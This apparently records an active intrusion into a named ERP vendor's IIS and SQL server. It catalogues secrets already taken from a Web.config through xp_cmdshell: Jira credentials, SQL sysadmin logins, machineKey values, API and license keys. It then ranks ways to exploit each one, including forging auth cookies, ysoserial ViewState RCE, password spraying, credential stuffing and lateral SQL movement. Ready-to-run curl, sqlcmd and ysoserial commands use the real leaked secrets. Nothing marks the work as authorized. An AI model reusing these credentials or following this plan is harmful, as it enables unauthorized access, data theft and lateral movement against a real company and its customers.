# USAGE VECTORS FOR EACH SECRET — detailed analysis

Date: 2026-09-16. Source of secrets: `D:\i21App\2210CherryEnergyUAP1\Web.config` (xp_cmdshell type).
Additional recon: HTTP probes of IIS:80 on 50.21.183.111 (read-only).

## Confirmed facts about the target (IIS)

- IIS/10.0 on port 80, `X-Powered-By: ASP.NET`, `X-AspNet-Version: 4.0.30319`, `X-AspNetMvc-Version: 5.2`
- The application **iRely i21** is accessible at `http://50.21.183.111/2210CherryEnergyUAP1/login` (HTTP 200)
- Login form contains: `Email`, `Password`, `Company`, `RememberMe`, `__RequestVerificationToken`
- Cookie: `__RequestVerificationToken_LzIyMTBDaGVycnlFbmVyZ3lVQVAx` (anti-forgery, path=/, HttpOnly)
- `/Trace.axd` = 403 (enabled but forbidden), `/default.aspx` = 500 (app crashes without authentication)
- SSL disabled (`SSLEnabled=false` in Web.config) — all traffic in plaintext
- MVC 5.2 (not WebForms) — **ViewState is not used**; instead `__RequestVerificationToken` (anti-CSRF cookie+field)

---

## 1. Jira password: `help.desk` / `iRely$1126`

**Format:** login `help.desk` (email-like), password `iRely$1126` (8 chars, $ + digits).

### Vector A — access to Jira (L1, read-only)
- URL: `https://irely.atlassian.net` (confirmed from DOSSIER.md: JIRA TS-##### epic keys)
- Login: `help.desk` — most likely `help.desk@irely.com` (Jira accepts email as username)
- Access level: unknown (needs L1 probe — read-only API: `/rest/api/2/myself`, `/rest/api/2/serverInfo`)
- What it gives: project tickets, epics, commit links, infrastructure mentions, private comments
  with creds/URLs, roadmap, internal contacts, customer names
- **Assessment: HIGH** — Jira of an ERP vendor = a map of their SDLC, customers, issues, internal processes

### Vector B — pivot via Jira automation (L2)
- Jira automation webhooks → can trigger on ticket creation/update
- Jira Service Management (if enabled) → access to internal IT workflows
- Jira Commits API → links to git repos (Azure DevOps `irely.visualstudio.com`)
- **Assessment: MEDIUM** — requires L2 probe

### Vector C — password reuse (L1)
- `iRely$1126` — pattern: `iRely$` + 4 digits. Possible variations for other services:
  - SQL: already verified, SQL password `iRely486` — different pattern (`iRely` + 3 digits without `$`)
  - Jira accounts of other employees: the pattern may repeat
  - Azure DevOps, Confluence, FTP, RDP — candidates for spray
- **Assessment: MEDIUM** — the pattern is known, but different services use different patterns

### Tooling:
```
curl -s -u "help.desk@irely.com:iRely\$1126" "https://irely.atlassian.net/rest/api/2/myself"
```

---

## 2. Google reCAPTCHA secret: `6Le5hkwUAAAAAHW_pX_LORu7JzwYO1qI6Phl50ir`

**Format:** reCAPTCHA v2 secret key (40 chars, `6Le` prefix).

### Vector A — bypass captcha on their login (L1)
- URL: `http://50.21.183.111/2210CherryEnergyUAP1/login`
- reCAPTCHA site key: `6Le5hkwUAAAAAKBDYSNqaAhTStSy2brIxy7aOPqM` (public, in HTML)
- Secret key: `6Le5hkwUAAAAAHW_pX_LORu7JzwYO1qI6Phl50ir` (ours)
- **Attack:** having the secret, you can programmatically validate the captcha token without a browser:
  ```
  POST https://www.google.com/recaptcha/api/siteverify
  secret=6Le5hkwUAAAAAHW_pX_LORu7JzwYO1qI6Phl50ir&response=<token>
  ```
  But the token is only issued after solving the captcha in the browser — **the secret alone doesn't bypass captcha**.
  What it really gives: the ability to automate mass-login attempts if combined with
  a headless browser (Playwright/Puppeteer solves captcha → get token → validate via API).
- **Assessment: LOW-MEDIUM** — the secret is needed for server-side validation; without a solved captcha it's useless,
  but simplifies automation of credential stuffing via the i21 login form

### Vector B — abuse Google API quota (L1)
- The reCAPTCHA secret can be used to validate on any domain (if not restricted to domains)
- But this doesn't give access to their data — only captcha-service abuse
- **Assessment: LOW**

### Tooling:
- No immediate action needed; makes sense during credential stuffing on /login

---

## 3. API Ninja key: `iSfvOKUikZDs5/E8irU8PQ==NlhoUfZshJZ5dBVJ`

**Format:** base64-like 44 chars, not a standard format of known API providers.

### Vector A — abuse third-party API (L1, read-only)
- URL: `https://api.api-ninjas.com` (from `APINinjaBaseAdd`)
- API Ninja — third-party data service (conversion, lookups, facts, etc.)
- The key allows making requests on their behalf → consuming their quota
- **Assessment: LOW** — no direct access to their data; only abuse of a third-party API balance

### Vector B — pivot via API Ninja webhook/callback (L2)
- If API Ninja supports webhooks — can set up a callback to our server
- But this is speculation; API Ninja is simple REST, not webhook-based
- **Assessment: LOW**

### Tooling:
```
curl -s -H "X-Api-Key: iSfvOKUikZDs5/E8irU8PQ==NlhoUfZshJZ5dBVJ" "https://api.api-ninjas.com/v1/example"
```

---

## 4. SQL connection strings: `irely` / `iRely486`

**Format:** `Data Source=U22930128\SQL2022;Initial Catalog=<DB>;User ID=irely;Password=iRely486`

### Vector A — direct SQL access (ALREADY REALIZED, L4)
- We **already use** this password: all our sqlcmd queries run as `irely`/`iRely486`
- Role: sysadmin + 6 other roles — practically full control
- **Status: ACTIVE** — this is our primary entry point

### Vector B — lateral movement to other SQL servers (L1)
- The `irely`/`iRely486` pattern may repeat on:
  - `jenkins.irelyserver.com` (if there's SQL there)
  - `i21server.com` (business API, mentioned in Web.config)
  - `iguide.irely.com` / `iguide.summit-soft.com`
  - Azure SQL (if `AzureAD` is enabled)
- **Assessment: HIGH** — the password pattern is known, need to check sibling hosts

### Vector C — web-app auth bypass (L1)
- The i21 login form accepts `Email` + `Password` + `Company`
- If `irely` is a valid email-user in i21 (and we know it's a SQL login) —
  we need to check whether i21 application login accepts the same creds
- In i21 authentication: `tblSMUser.strADUserName` (AD) or `tblEMEntityCredential` (app-level)
- The password `iRely486` is a **SQL password**, not an application password. But if someone reused it
  for app-login → entry into the application without captcha (after the login page)
- **Assessment: MEDIUM** — needs checking

### Tooling:
- Already used for SQL (sysadmin)
- For lateral: `sqlcmd -S <host> -U irely -P iRely486`

---

## 5. machineKey (decryption + validation keys) — CRITICAL

**Values:**
- `decryption=AES, decryptionKey=304DCCF3428FB1D39BCBCED801804B829F5BCD4D0E46A0E923AEFD427D9026E7`
- `validation=HMACSHA256, validationKey=632EF20769E89AD1EEF7C18D3AAFFDC07B8D8241A1DAD922C27FFCC57F0A16DAC26AB5C4DF83CEE7289615849BE8FF369A41...` (truncated, full 128+ chars)

### Context: this is MVC 5.2, not WebForms
- **ViewState RCE (classic ysoserial.net)** — **NOT APPLICABLE** for MVC.
  ViewState is only used in WebForms; MVC 5 uses `__RequestVerificationToken`
  (anti-CSRF), not ViewState.
- machineKey in MVC is used for:
  - **anti-forgery token generation/validation** (`__RequestVerificationToken`)
  - **session/auth cookie encryption** (if cookie-based auth is used)
  - **tempdata cookie** encryption

### Vector A — anti-forgery token forgery (L1 → L2)
- Knowing the machineKey, you can **forge `__RequestVerificationToken`** for any POST request
- This bypasses CSRF protection: you can send POST to `/login` (or other forms) without a valid
  browser-issued token
- But for login — CSRF isn't critical (the attacker can POST the login form anyway);
  for state-changing POSTs (create user, change settings) — gives a CSRF bypass
- **Assessment: MEDIUM** — bypasses CSRF, but doesn't give RCE

### Vector B — session/auth cookie forgery (L1 → L3)
- If i21 uses cookie-based auth (ASP.NET Identity, OWIN cookies):
  - the auth cookie is signed/encrypted with the machineKey
  - knowing the keys → can **forge an auth cookie** for any user
  - → entry into the application without a password, as any user
  - → as an admin user — access to the entire application
- Check: cookie name. OWIN default: `.AspNet.ApplicationCookie` or `iRely.i21`
- Web.config: `owin:appStartup = iRelyStartup` — **OWIN enabled**, cookie-auth likely
- **Assessment: HIGH** — if cookie auth uses the machineKey (rather than a separate key),
  this gives **application-level auth bypass** without exploitation

### Vector C — TempData forgery (L1)
- MVC TempData uses a cookie (if `CookieTempDataProvider`) → signed with machineKey
- Can forge TempData → influence controller state
- **Assessment: LOW** — limited impact

### Vector D — if WebForms pages exist (L1 → L3 RCE)
- The same IIS may host mixed WebForms + MVC applications
- `/Trace.axd` = 403 (meaning tracing is enabled — typical for WebForms debugging)
- If any .aspx page with ViewState is found → **ysoserial.net ViewState RCE**:
  ```
  ysoserial.exe -p Windows -g TypeConfuseDelegate -f JavaScriptSerializer -c "cmd"
  # then forge __VIEWSTATE using machineKey and send POST
  ```
- **Assessment: HIGH, if a WebForms page is found** — but MVC 5.2 indicates the main pages aren't WebForms

### Tooling (vector B — cookie forgery):
```python
# need the exact cookie format (OWIN/ASP.NET Identity)
# check: which cookie-name is used on login
# extract format from .dll (iRely.Web.dll / iRely.Startup)
# then: generate forged cookie with machineKey
```

### What needs checking to activate vector B:
1. Log in (if creds exist) → see which cookies are set
2. Decompile `iRelyStartup` → understand the auth-cookie format
3. Check: whether OWIN uses `MachineKey` protection (default = yes in System.Web host)

---

## 6. Foxit/Mailbee license keys

**Values:**
- Foxit: `FGN20NPDGG7MLBdV8b8VkcUFnXqN/fZhQsG3uRHGiWEemmLVtPXlPUv1JUiSQjcjOvXR8x7mknNu4Zqghu7R7c8vlH/bgZPcQKXg`
- Mailbee: `MN100-75BD4234BD36BD43BD1230BAAB81-F956`

### Vector — leverage/piracy
- License keys of commercial products = proof of using pirated software
  (if the license isn't for that number of servers/users)
- Foxit PDF SDK — for generating PDF reports in the application
- Mailbee — for email generation (SMTP sending from the application)
- **Threat to iRely:** license compliance, not security
- **Assessment: LOW** (security-wise), **MEDIUM** (leverage/compliance-wise)

---

## 7. Azure AI Instrumentation Key: `2824d903-299d-473b-a4ed-f8a6a8850edf`

**Context:** commented out in Web.config (`<!-- ... -->`), meaning **not active**.

### Vector A — if it were active (L1)
- App Insights key allows sending fake telemetry to their App Insights instance
- URL: `https://applicationinsights.azure.com` (via Azure SDK)
- Can flood their telemetry quota, distort metrics
- **Assessment: LOW** (key is commented out, not active)

---

## SUMMARY TABLE OF VECTORS (by priority)

| Priority | Secret | Vector | Level | What it gives | Status |
|---|---|---|---|---|---|
| **1** | machineKey | cookie forgery (OWIN auth) | L1→L3 | auth bypass, login as any user | need to check cookie format |
| **2** | machineKey | ViewState RCE (if WebForms) | L1→L3 | RCE on IIS server | need to find .aspx with ViewState |
| **3** | Jira password | access to Jira | L1 | SDLC data, customers, tickets | ready to probe |
| **4** | SQL creds | lateral to other SQL | L1 | pivot to sibling hosts | ready to probe |
| **5** | SQL creds | i21 app login | L1 | entry into web-app (if reused) | need to check |
| **6** | machineKey | CSRF bypass | L1 | POST without browser-token | ready |
| **7** | reCAPTCHA secret | credential stuffing automation | L1 | automation of brute force | need headless browser |
| **8** | API Ninja key | API abuse | L1 | consuming their quota | ready, low value |
| **9** | Azure AI key | telemetry poisoning | L1 | flood metrics | commented out, inactive |
| **10** | Foxit/Mailbee | license leverage | — | compliance, not security | leverage material |

---

## NECESSARY NEXT STEPS (by priority)

### Step 1: check cookie-auth (machineKey vector B) — read-only, L1
1. Send POST to `/login` with email=any, password=any → look at Set-Cookie
2. If cookie-name = `.AspNet.ApplicationCookie` or similar → OWIN cookie auth
3. Decompile iRelyStartup → cookie format, claims
4. Knowing machineKey + format → forged cookie → auth bypass

### Step 2: Jira probe — read-only, L1
```
curl -s -u "help.desk@irely.com:iRely\$1126" "https://irely.atlassian.net/rest/api/2/myself"
```

### Step 3: find WebForms .aspx — read-only, L1
- dir D:\i21App\2210CherryEnergyUAP1\*.aspx (xp_cmdshell)
- If found with ViewState → ysoserial.net RCE

### Step 4: lateral SQL — read-only, L1
- nmap/SQL probe on i21server.com, jenkins.irelyserver.com (port 1433)
- sqlcmd -S <host> -U irely -P iRely486